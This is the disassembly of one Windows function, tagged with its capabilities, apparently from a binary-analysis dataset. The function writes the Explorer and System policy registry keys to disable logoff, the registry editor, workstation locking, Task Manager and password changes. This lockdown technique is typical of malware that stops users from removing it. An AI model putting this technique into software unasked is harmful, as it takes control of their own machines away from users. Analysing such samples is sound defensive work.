Function at 0x57dd60
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x5ed130]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
movzx eax, byte [ebp + 8]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x50], al
mov byte [ebp - 0x4f], 0
mov byte [ebp - 0x4e], 0
mov byte [ebp - 0x4d], 0
mov ecx, dword [str.NoLogoff]
mov dword [ebp - 0x34], ecx
mov edx, dword [0x5deda0]
mov dword [ebp - 0x30], edx
mov al, byte [0x5deda4]
mov byte [ebp - 0x2c], al
mov dword [ebp - 4], 4
mov dword [ebp - 0x28], 1
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x24]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x57dde8
xor al, al
jmp 0x57dfce
push 4
lea eax, [ebp - 0x50]
push eax
push 4
push 0
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x57de1a
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x57dfce
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x24]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x57de59
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x57dfce
mov ecx, dword [str.DisableRegistryTools]
mov dword [ebp - 0x4c], ecx
mov edx, dword [0x5dee24]
mov dword [ebp - 0x48], edx
mov eax, dword [0x5dee28]
mov dword [ebp - 0x44], eax
mov ecx, dword [0x5dee2c]
mov dword [ebp - 0x40], ecx
mov edx, dword [0x5dee30]
mov dword [ebp - 0x3c], edx
mov al, byte [0x5dee34]
mov byte [ebp - 0x38], al
mov ecx, 5
mov esi, str.DisableLockWorkstation
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, dword [str.DisableTaskMgr]
mov dword [ebp - 0x7c], ecx
mov edx, dword [0x5dee54]
mov dword [ebp - 0x78], edx
mov eax, dword [0x5dee58]
mov dword [ebp - 0x74], eax
mov cx, word [0x5dee5c]
mov word [ebp - 0x70], cx
mov dl, byte [0x5dee5e]
mov byte [ebp - 0x6e], dl
mov eax, dword [str.DisableChangePassword]
mov dword [ebp - 0x68], eax
mov ecx, dword [0x5dee64]
mov dword [ebp - 0x64], ecx
mov edx, dword [0x5dee68]
mov dword [ebp - 0x60], edx
mov eax, dword [0x5dee6c]
mov dword [ebp - 0x5c], eax
mov ecx, dword [0x5dee70]
mov dword [ebp - 0x58], ecx
mov dx, word [0x5dee74]
mov word [ebp - 0x54], dx
push 4
lea eax, [ebp - 0x50]
push eax
push 4
push 0
lea ecx, [ebp - 0x4c]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x57df35
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x57dfce
push 4
lea ecx, [ebp - 0x50]
push ecx
push 4
push 0
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x57df64
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x57dfce
push 4
lea edx, [ebp - 0x50]
push edx
push 4
push 0
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x57df93
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x57dfce
push 4
lea eax, [ebp - 0x50]
push eax
push 4
push 0
lea ecx, [ebp - 0x68]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x57dfc2
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x57dfce
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0043dd0c
mov esp, ebp
pop ebp
ret